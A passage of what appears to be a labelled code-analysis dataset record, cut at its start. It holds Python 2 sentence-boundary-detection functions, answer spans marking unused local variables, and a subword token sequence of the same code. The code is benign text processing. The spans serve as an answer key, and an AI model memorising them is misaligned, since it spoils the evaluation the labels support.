curr_words: frag.ends_seg = True\n else:\n frag = Frag(' '.join(curr_words))\n frag.ends_seg = True\n if expect_labels: frag.label = True\n prev.next = frag\n if tokenize:\n tokens = word_tokenize.tokenize(frag.orig)\n frag.tokenized = tokens\n frag_index += 1\n prev = frag\n curr_words = []\n\n for word in line.split():\n curr_words.append(word)\n\n if is_sbd_hyp(word):\n #if True: # hypothesize all words\n frag = Frag(' '.join(curr_words))\n if not frag_list: frag_list = frag\n else: prev.next = frag\n \n ## get label; tokenize\n if expect_labels: frag.label = int('<S>' in word)\n if tokenize:\n tokens = word_tokenize.tokenize(frag.orig)\n else: tokens = frag.orig\n tokens = re.sub('(<A>)|(<E>)|(<S>)', '', tokens)\n frag.tokenized = tokens\n \n frag_index += 1\n prev = frag\n curr_words = []\n\n word_index += 1\n fh.close()\n\n ## last frag\n frag = Frag(' '.join(curr_words))\n if not frag_list: frag_list = frag\n else: prev.next = frag\n if expect_labels: frag.label = int('<S>' in word)\n if tokenize:\n tokens = word_tokenize.tokenize(frag.orig)\n else: tokens = frag.orig\n tokens = re.sub('(<A>)|(<E>)|(<S>)', '', tokens)\n frag.tokenized = tokens\n frag.ends_seg = True\n frag_index += 1\n\n if verbose: sys.stderr.write(' words [%d] sbd hyps [%d]\\n' %(word_index, frag_index))\n\n ## create a Doc object to hold all this information\n doc = Doc(frag_list)\n return doc", "metadata": "root.get_data", "header": "['module', '___EOS___']", "index": 109 }, { "content": "def get_text_data(text, expect_labels=True, tokenize=False, verbose=False):\n \"\"\"\n get text, returning an instance of the Doc class\n doc.frag is the first frag, and each points to the next\n \"\"\"\n \n frag_list = None\n word_index = 0\n frag_index = 0\n curr_words = []\n lower_words, non_abbrs = sbd_util.Counter(), sbd_util.Counter()\n\n for line in text.splitlines():\n\n ## deal with blank lines\n if (not line.strip()) and frag_list:\n if not curr_words: frag.ends_seg = True\n else:\n frag = Frag(' '.join(curr_words))\n frag.ends_seg = True\n if expect_labels: frag.label = True\n prev.next = frag\n if tokenize:\n tokens = word_tokenize.tokenize(frag.orig)\n frag.tokenized = tokens\n frag_index += 1\n prev = frag\n curr_words = []\n\n for word in line.split():\n curr_words.append(word)\n\n if is_sbd_hyp(word):\n frag = Frag(' '.join(curr_words))\n if not frag_list: frag_list = frag\n else: prev.next = frag\n \n ## get label; tokenize\n if expect_labels: frag.label = int('<S>' in word)\n if tokenize:\n tokens = word_tokenize.tokenize(frag.orig)\n else: tokens = frag.orig\n tokens = re.sub('(<A>)|(<E>)|(<S>)', '', tokens)\n frag.tokenized = tokens\n \n frag_index += 1\n prev = frag\n curr_words = []\n \n word_index += 1\n\n ## last frag\n frag = Frag(' '.join(curr_words))\n if not frag_list: frag_list = frag\n else: prev.next = frag\n if expect_labels: frag.label = int('<S>' in word)\n if tokenize:\n tokens = word_tokenize.tokenize(frag.orig)\n else: tokens = frag.orig\n tokens = re.sub('(<A>)|(<E>)|(<S>)', '', tokens)\n frag.tokenized = tokens\n frag.ends_seg = True\n frag_index += 1\n \n if verbose: sys.stderr.write(' words [%d] sbd hyps [%d]\\n' %(word_index, frag_index))\n\n ## create a Doc object to hold all this information\n doc = Doc(frag_list)\n return doc", "metadata": "root.get_text_data", "header": "['module', '___EOS___']", "index": 185 }, { "content": "def poo():\n \n\n ## labeled data\n data_root = '/u/dgillick/workspace/sbd/'\n brown_data = data_root + 'whiskey/brown.1'\n wsj_data = data_root + 'whiskey/satz.1'\n poe_data = data_root + 'whiskey/poe.1'\n new_wsj_data = data_root + 'whiskey/wsj.1'\n\n ## install root\n install_root = '/home/chonger/Downloads/splitta/'\n\n ## options\n from optparse import OptionParser\n usage = 'usage: %prog [options] <text_file>'\n parser = OptionParser(usage=usage)\n parser.add_option('-v', '--verbose', dest='verbose', default=False,\n action='store_true', help='verbose output')\n parser.add_option('-t', '--tokenize', dest='tokenize', default=False,\n action='store_true', help='write tokenized output')\n parser.add_option('-m', '--model', dest='model_path', type='str', default='model_nb',\n help='model path')\n parser.add_option('-o', '--output', dest='output', type='str', default=None,\n help='write sentences to this file')\n parser.add_option('-x', '--train', dest='train', type='str', default=None,\n help='train a new model using this labeled data file')\n parser.add_option('-c', '--svm', dest='svm', default=False,\n action='store_true', help='use SVM instead of Naive Bayes for training')\n (options, args) = parser.parse_args()\n\n ## get test file\n if len(args) > 0:\n options.test = args[0]\n if not os.path.isfile(options.test): sbd_util.die('test path [%s] does not exist' %options.test)\n else:\n options.test = None\n if not options.train: sbd_util.die('you did not specify either train or test!')\n\n ## create model path\n if not options.model_path.endswith('/'): options.model_path += '/'\n if options.train:\n if not os.path.isfile(options.train): sbd_util.die('model path [%s] does not exist' %options.train)\n if os.path.isdir(options.model_path): sbd_util.die('model path [%s] already exists' %options.model_path)\n else: os.mkdir(options.model_path)\n else:\n if not os.path.isdir(options.model_path):\n options.model_path = install_root + options.model_path\n if not os.path.isdir(options.model_path):\n sbd_util.die('model path [%s] does not exist' %options.model_path)\n\n ## create a model\n if options.train:\n model = build_model(options.train, options)\n\n if not options.test: sys.exit()\n\n print options.svm\n print options.test\n \n ## test\n if not options.train:\n if 'svm' in options.model_path: options.svm = True\n model = load_sbd_model(options.model_path, options.svm)\n if options.output: options.output = open(options.output, 'w')\n\n test = get_data(options.test, tokenize=True)\n test.featurize(model, verbose=True)\n model.classify(test, verbose=True)\n print options.tokenize\n print options.output\n test.segment(use_preds=True, tokenize=options.tokenize, output=options.output)", "metadata": "root.poo", "header": "['module', '___EOS___']", "index": 647 } ]
[ { "span": "words2 ", "start_line": 71, "start_column": 8, "end_line": 71, "end_column": 14 }, { "span": "lower_words,", "start_line": 120, "start_column": 4, "end_line": 120, "end_column": 15 }, { "span": "non_abbrs ", "start_line": 120, "start_column": 17, "end_line": 120, "end_column": 26 }, { "span": "lower_words,", "start_line": 195, "start_column": 4, "end_line": 195, "end_column": 15 }, { "span": "non_abbrs ", "start_line": 195, "start_column": 17, "end_line": 195, "end_column": 26 }, { "span": "brown_data ", "start_line": 652, "start_column": 4, "end_line": 652, "end_column": 14 }, { "span": "wsj_data ", "start_line": 653, "start_column": 4, "end_line": 653, "end_column": 12 }, { "span": "poe_data ", "start_line": 654, "start_column": 4, "end_line": 654, "end_column": 12 }, { "span": "new_wsj_data ", "start_line": 655, "start_column": 4, "end_line": 655, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "features_", "(_", "frag_", ",_", "model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "...", " ", "w", "1", ".", " ", "(", "sb", "?)", " ", "w2", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "Feature", "s", ",", " ", "liste", "d", " ", "rough", "ly", " ", "in", " ", "order", " ", "of", " ", "importance", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "(", "1", ")", " ", "w", "1", ":", " ", "word", " ", "tha", "t", " ", "include", "s", " ", "a", " ", "period", "\\", "10", ";", " ", " ", " ", " ", "(", "2", ")", " ", "w2", ":", " ", "the", " ", "next", " ", "word", ",", " ", "if", " ", "it", " ", "exist", "s", "\\", "10", ";", " ", " ", " ", " ", "(", "3", ")", " ", "w", "1", "length", ":", " ", "number", " ", "of", " ", "alphabetic", " ", "character", "s", " ", "in", " ", "w", "1", "\\", "10", ";", " ", " ", " ", " ", "(", "4", ")", " ", "w2", "cap", ":", " ", "true", " ", "if", " ", "w2", " ", "is", " ", "capitaliz", "ed", "\\", "10", ";", " ", " ", " ", " ", "(", "5", ")", " ", "bot", "h", ":", " ", "w", "1", " ", "and", " ", "w2", "\\", "10", ";", " ", " ", " ", " ", "(", "6", ")", " ", "w", "1a", "bb", "r", ":", " ", "log", " ", "count", " ", "of", " ", "w", "1", " ", "in", " ", "train", "ing", " ", "with", "out", " ", "a", " ", "final", " ", "period", "\\", "10", ";", " ", " ", " ", " ", "(", "7", ")", " ", "w2", "lower", ":", " ", "log", " ", "count", " ", "of", " ", "w2", " ", "in", " ", "train", "ing", " ", "as", " ", "lower", "case", "d", "\\", "10", ";", " ", " ", " ", " ", "(", "8", ")", " ", "w", "1", "w2", "upper", ":", " ", "w", "1", " ", "and", " ", "w2", " ", "is", " ", "capitaliz", "ed", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "words", "1_", "=_", "clean_", "(_", "frag_", "._", "tokenized", "_", ")_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "words", "1_", ":_", "w1_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "w1_", "=_", "words", "1_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "frag_", "._", "next_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "words", "2_", "=_", "clean_", "(_", "frag_", "._", "next_", "._", "tokenized", "_", ")_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "words", "2_", ":_", "w2_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "w2_", "=_", "words", "2_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "words", "2_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w2_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c1_", "=_", "re_", "._", "sub_", "(_", "'(", "^", ".+?", "\\\\", "-)", "'_", ",_", "''_", ",_", "w1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c2_", "=_", "re_", "._", "sub_", "(_", "'(\\\\", "-.", "+?)", "$'_", ",_", "''_", ",_", "w2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "feats_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "feats_", "[_", "'", "w", "1", "'_", "]_", "=_", "c1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feats_", "[_", "'", "w2", "'_", "]_", "=_", "c2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feats_", "[_", "'", "bot", "h", "'_", "]_", "=_", "c1_", "+_", "'\\u'_", "+_", "c2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "len", "1_", "=_", "min_", "(_", "10_", ",_", "len_", "(_", "re_", "._", "sub_", "(_", "'\\\\", "W", "'_", ",_", "''_", ",_", "c1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "c1_", "._", "replace_", "(_", "'.'_", ",_", "''_", ")_", "._", "isalpha_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feats_", "[_", "'", "w", "1", "length", "'_", "]_", "=_", "str_", "(_", "len", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "feats_", "[_", "'", "w", "1a", "bb", "r", "'_", "]_", "=_", "str_", "(_", "int_", "(_", "math_", "._", "log_", "(_", "1_", "+_", "model_", "._", "non", "\\u", "abb", "rs_", "[_", "c1_", "[_", ":_", "-_", "1_", "]_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "feats_", "[_", "'", "w", "1a", "bb", "r", "'_", "]_", "=_", "str_", "(_", "int_", "(_", "math_", "._", "log_", "(_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "c2_", "._", "replace_", "(_", "'.'_", ",_", "''_", ")_", "._", "isalpha_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feats_", "[_", "'", "w2", "cap", "'_", "]_", "=_", "str_", "(_", "c2_", "[_", "0_", "]_", "._", "isupper", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "feats_", "[_", "'", "w2", "lower", "'_", "]_", "=_", "str_", "(_", "int_", "(_", "math_", "._", "log_", "(_", "1_", "+_", "model_", "._", "lower", "\\u", "words_", "[_", "c2_", "._", "lower_", "(_", ")_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "feats_", "[_", "'", "w2", "lower", "'_", "]_", "=_", "str_", "(_", "int_", "(_", "math_", "._", "log_", "(_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feats_", "[_", "'", "w", "1", "w2", "upper", "'_", "]_", "=_", "c1_", "+_", "'\\u'_", "+_", "str_", "(_", "c2_", "[_", "0_", "]_", "._", "isupper", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "feats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "data_", "(_", "files_", ",_", "expect", "\\u", "labels_", "=_", "True_", ",_", "tokenize_", "=_", "False_", ",_", "verbose_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "load", " ", "text", " ", "from", " ", "files", ",", " ", "return", "ing", " ", "an", " ", "instance", " ", "of", " ", "the", " ", "Doc", " ", "class", "\\", "10", ";", " ", " ", " ", " ", "doc", ".", "frag", " ", "is", " ", "the", " ", "first", " ", "frag", ",", " ", "and", " ", "each", " ", "points", " ", "to", " ", "the", " ", "next", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "type_", "(_", "files_", ")_", "==_", "type_", "(_", "''_", ")_", ":_", "files_", "=_", "[_", "files_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag", "\\u", "list_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word", "\\u", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag", "\\u", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curr", "\\u", "words_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lower", "\\u", "words_", ",_", "non", "\\u", "abb", "rs_", "=_", "sb", "d\\u", "util_", "._", "Counter_", "(_", ")_", ",_", "sb", "d\\u", "util_", "._", "Counter_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "file_", "in_", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stderr_", "._", "write_", "(_", "'", "readi", "ng", " ", "[", "%", "s", "]\\\\", "n", "'_", "%_", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fh_", "=_", "open_", "(_", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "fh_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "deal", " ", "with", " ", "blank", " ", "lines_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "not_", "line_", "._", "strip_", "(_", ")_", ")_", "and_", "frag", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "curr", "\\u", "words_", ":_", "frag_", "._", "ends", "\\u", "seg_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "frag_", "=_", "Fra", "g_", "(_", "'", " ", "'_", "._", "join_", "(_", "curr", "\\u", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag_", "._", "ends", "\\u", "seg_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "expect", "\\u", "labels_", ":_", "frag_", "._", "label_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "._", "next_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tokenize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "tokens_", "=_", "word", "\\u", "tokenize_", "._", "tokenize_", "(_", "frag_", "._", "orig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frag_", "._", "tokenized", "_", "=_", "tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curr", "\\u", "words_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "word_", "in_", "line_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curr", "\\u", "words_", "._", "append_", "(_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "is", "\\u", "sb", "d\\u", "hyp", "_", "(_", "word_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "Tru", "e", ":", " ", "#", " ", "hypot", "hes", "ize", " ", "all", " ", "words_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "frag_", "=_", "Fra", "g_", "(_", "'", " ", "'_", "._", "join_", "(_", "curr", "\\u", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "frag", "\\u", "list_", ":_", "frag", "\\u", "list_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "prev_", "._", "next_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "get", " ", "label", ";", " ", "tokenize_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "expect", "\\u", "labels_", ":_", "frag_", "._", "label_", "=_", "int_", "(_", "'<", "S", ">'_", "in_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tokenize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "tokens_", "=_", "word", "\\u", "tokenize_", "._", "tokenize_", "(_", "frag_", "._", "orig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "tokens_", "=_", "frag_", "._", "orig_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokens_", "=_", "re_", "._", "sub_", "(_", "'(", "<", "A", ">)", "|(", "<", "E", ">)", "|(", "<", "S", ">)", "'_", ",_", "''_", ",_", "tokens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag_", "._", "tokenized", "_", "=_", "tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "frag", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curr", "\\u", "words_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "word", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fh_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "last", " ", "frag_", "\\u\\u\\uNL\\u\\u\\u_", "frag_", "=_", "Fra", "g_", "(_", "'", " ", "'_", "._", "join_", "(_", "curr", "\\u", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "frag", "\\u", "list_", ":_", "frag", "\\u", "list_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "prev_", "._", "next_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "expect", "\\u", "labels_", ":_", "frag_", "._", "label_", "=_", "int_", "(_", "'<", "S", ">'_", "in_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tokenize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tokens_", "=_", "word", "\\u", "tokenize_", "._", "tokenize_", "(_", "frag_", "._", "orig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "tokens_", "=_", "frag_", "._", "orig_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokens_", "=_", "re_", "._", "sub_", "(_", "'(", "<", "A", ">)", "|(", "<", "E", ">)", "|(", "<", "S", ">)", "'_", ",_", "''_", ",_", "tokens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag_", "._", "tokenized", "_", "=_", "tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag_", "._", "ends", "\\u", "seg_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "verbose_", ":_", "sys_", "._", "stderr_", "._", "write_", "(_", "'", " ", "words", " ", "[", "%", "d", "]", " ", "sb", "d", " ", "hyp", "s", " ", "[", "%", "d", "]\\\\", "n", "'_", "%_", "(_", "word", "\\u", "index_", ",_", "frag", "\\u", "index_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "create", " ", "a", " ", "Doc", " ", "object", " ", "to", " ", "hold", " ", "all", " ", "this", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "Doc_", "(_", "frag", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "doc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "text", "\\u", "data_", "(_", "text_", ",_", "expect", "\\u", "labels_", "=_", "True_", ",_", "tokenize_", "=_", "False_", ",_", "verbose_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "get", " ", "text", ",", " ", "return", "ing", " ", "an", " ", "instance", " ", "of", " ", "the", " ", "Doc", " ", "class", "\\", "10", ";", " ", " ", " ", " ", "doc", ".", "frag", " ", "is", " ", "the", " ", "first", " ", "frag", ",", " ", "and", " ", "each", " ", "points", " ", "to", " ", "the", " ", "next", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "frag", "\\u", "list_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "word", "\\u", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag", "\\u", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curr", "\\u", "words_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lower", "\\u", "words_", ",_", "non", "\\u", "abb", "rs_", "=_", "sb", "d\\u", "util_", "._", "Counter_", "(_", ")_", ",_", "sb", "d\\u", "util_", "._", "Counter_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "line_", "in_", "text_", "._", "splitlines_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "deal", " ", "with", " ", "blank", " ", "lines_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "not_", "line_", "._", "strip_", "(_", ")_", ")_", "and_", "frag", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "curr", "\\u", "words_", ":_", "frag_", "._", "ends", "\\u", "seg_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frag_", "=_", "Fra", "g_", "(_", "'", " ", "'_", "._", "join_", "(_", "curr", "\\u", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag_", "._", "ends", "\\u", "seg_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "expect", "\\u", "labels_", ":_", "frag_", "._", "label_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "._", "next_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tokenize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tokens_", "=_", "word", "\\u", "tokenize_", "._", "tokenize_", "(_", "frag_", "._", "orig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frag_", "._", "tokenized", "_", "=_", "tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curr", "\\u", "words_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "word_", "in_", "line_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curr", "\\u", "words_", "._", "append_", "(_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "is", "\\u", "sb", "d\\u", "hyp", "_", "(_", "word_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frag_", "=_", "Fra", "g_", "(_", "'", " ", "'_", "._", "join_", "(_", "curr", "\\u", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "frag", "\\u", "list_", ":_", "frag", "\\u", "list_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "prev_", "._", "next_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "get", " ", "label", ";", " ", "tokenize_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "expect", "\\u", "labels_", ":_", "frag_", "._", "label_", "=_", "int_", "(_", "'<", "S", ">'_", "in_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tokenize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tokens_", "=_", "word", "\\u", "tokenize_", "._", "tokenize_", "(_", "frag_", "._", "orig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 